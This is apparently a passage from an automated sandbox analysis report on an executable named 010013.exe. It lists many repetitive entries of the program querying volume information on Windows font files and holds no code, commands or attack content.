Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
